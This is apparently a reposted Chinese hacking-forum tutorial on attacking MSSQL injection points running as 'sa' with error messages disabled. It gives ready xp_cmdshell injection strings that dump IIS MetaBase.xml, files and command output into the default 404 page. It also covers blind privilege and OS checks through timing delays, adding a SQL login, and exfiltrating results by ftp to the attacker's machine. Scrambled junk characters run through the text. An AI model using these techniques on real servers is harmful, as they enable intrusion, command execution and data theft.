遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。; h- ^& ~8 f/ E6 E
& Q% @# [9 h. y/ X5 q- Q
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
% ]5 K7 j9 |6 t$ D0 R" J
6 o% O" P3 p1 ^# [2 K' Y) W% T 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 {( a* }) {7 a- I; {; D- k8 ~$ p' s
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
2 z; M! p+ c m) V8 b* I/ q3 |1 d. `/ n! x; ` l- P
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--% V3 e. u0 }8 F
$ d+ m3 p4 a6 n
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。2 R+ @9 |7 n7 C! I5 [4 t. s
/ }+ I4 X: e) y6 }- S. ]$ c4 b
执行命令得到回显0 \7 K8 F8 X9 ]
7 R* X5 S" v( d. V3 a: d
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
) r" X9 O" U# H
" X2 h. [5 N' M, T; b, \5 P 得到文件也shi相同,把文件copy到404b.htm就行了) s# T6 O" l/ D5 u$ n) G
+ q( U1 A K6 u. u2 t, f7 J* \ by 28ice, 2008/6/26$ m L$ G! r( J& ]* ^
1 @1 C" \1 j ]0 n
摘自 28度的冰; Y6 e9 g6 u2 L" Q+ o* x: ~4 F G
3 _5 d, |- l+ Y5 V. H( G
盲注判断权限和操作系统版本( c- P8 N+ d- J5 V w) i
' ^* { z4 s8 `6 o: c- j 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
6 z7 s' G) J- W/ w( _ F5 M! ]4 l7 y9 q' F
最简单的,可能以用这样的方法:7 C, k, D. W( J% T0 {) ?5 E
1 q6 o/ @1 U3 v l* b/ x2 D, W
1=(select IS_SRVROLEMEMBER(’sysadmin’))
+ F9 q. P2 ] p# U9 j( O/ z. z
( \9 a' E# h. u, B- i( s 当然,有些情况下,这个方法并不奏效。
+ F+ Z. z W6 j4 s8 p* |- G
" D+ M! A, r% k; h( p' ?# ^ 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。0 y+ e% |+ c. B, a
# o7 D2 Z" p' E8 A5 V) W' e9 ] 有个3办法可能以解决这个问题
, g) N2 m0 B' \! I2 T
: o# a( ]! \5 \1 _ a.把执行结果写到404b.htm,具体请看我的上一篇文章7 E! f0 Q; \% e8 p! S, J. X" g# U5 S
8 W4 ^7 Z- ?7 C0 b3 m' ?- S b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
/ J+ T" [1 @1 d& t& ~
5 H% J/ F, r) n3 S: E5 i. I6 R c.如果1433端口可能以连接,那干脆新建个sql登录
! ~9 N& W% V6 z4 {: U! F6 }% t) C9 Q7 i4 ]3 f' s% g
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
) K" p1 c" m% M$ Y6 z( C
6 w9 R/ a6 F" e7 g 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下, ]# U3 D* U( F) r3 ~7 Q
3 r9 v# b; J. D
很简单3 h% i3 `; {; |7 Q3 c
; C' _; @% @) Q9 B$ R% V 执行systeminfo% F# e$ d4 \# |3 F' g; r' y% y6 E
$ y& [5 w& t' ^/ Z% g" v1 i
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |